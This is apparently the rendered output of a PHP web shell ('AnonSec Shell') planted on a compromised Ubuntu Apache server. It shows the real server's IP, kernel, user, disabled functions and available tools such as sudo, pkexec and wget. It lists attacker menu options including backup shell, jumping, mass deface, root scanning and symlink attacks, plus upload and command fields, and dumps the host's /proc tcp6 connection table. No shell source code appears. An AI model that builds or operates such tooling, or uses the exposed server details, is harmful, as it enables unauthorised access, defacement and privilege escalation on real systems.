AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.216.251   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/10173/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/10173/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 11776139 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 19597 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 11776147 1 0000000000000000 100 0 0 10 0
   3: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF000084E3074A:858C 06 00000000:00000000 03:000011D2 00000000     0        0 0 3 0000000000000000
   4: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:09C9 06 00000000:00000000 03:00000EF6 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:601B 06 00000000:00000000 03:0000029A 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:B772 06 00000000:00000000 03:00000B02 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:3780 06 00000000:00000000 03:00000E2C 00000000     0        0 0 3 0000000000000000
   8: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:C55C 06 00000000:00000000 03:00000747 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:998E 06 00000000:00000000 03:00000750 00000000     0        0 0 3 0000000000000000
  10: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:04B3 01 00000000:00000000 02:000AF6D9 00000000    33        0 106758620 2 0000000000000000 27 4 0 10 63
  11: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:852A 01 00000000:00000000 02:000AF6E2 00000000    33        0 106758627 3 0000000000000000 26 4 0 10 63
  12: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:9470 06 00000000:00000000 03:0000033E 00000000     0        0 0 3 0000000000000000
  13: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:41F8 06 00000000:00000000 03:00001398 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:A833 06 00000000:00000000 03:00000E2E 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:6B91 06 00000000:00000000 03:00000ED7 00000000     0        0 0 3 0000000000000000
  16: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:FF1C 06 00000000:00000000 03:0000033D 00000000     0        0 0 3 0000000000000000
  17: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:5EB4 06 00000000:00000000 03:000013E9 00000000     0        0 0 3 0000000000000000
  18: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:865E 06 00000000:00000000 03:00000576 00000000     0        0 0 3 0000000000000000
  19: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF000084E3074A:CCF2 01 00000000:00000000 02:000AF6E8 00000000    33        0 106759324 2 0000000000000000 25 4 25 36 -1
  20: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:5127 06 00000000:00000000 03:00000290 00000000     0        0 0 3 0000000000000000
  21: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:AAD6 06 00000000:00000000 03:0000111D 00000000     0        0 0 3 0000000000000000
  22: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:328D 06 00000000:00000000 03:00000025 00000000     0        0 0 3 0000000000000000
  23: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:906D 06 00000000:00000000 03:00001116 00000000     0        0 0 3 0000000000000000
  24: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:D894 06 00000000:00000000 03:000016C0 00000000     0        0 0 3 0000000000000000
  25: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:FCD0 06 00000000:00000000 03:00000793 00000000     0        0 0 3 0000000000000000
  26: 0000000000000000FFFF0000F89A16A5:01BB 0000000000000000FFFF0000FBD849D8:68D3 06 00000000:00000000 03:0000138E 00000000     0        0 0 3 0000000000000000

Anon7 - 2022
AnonSec Team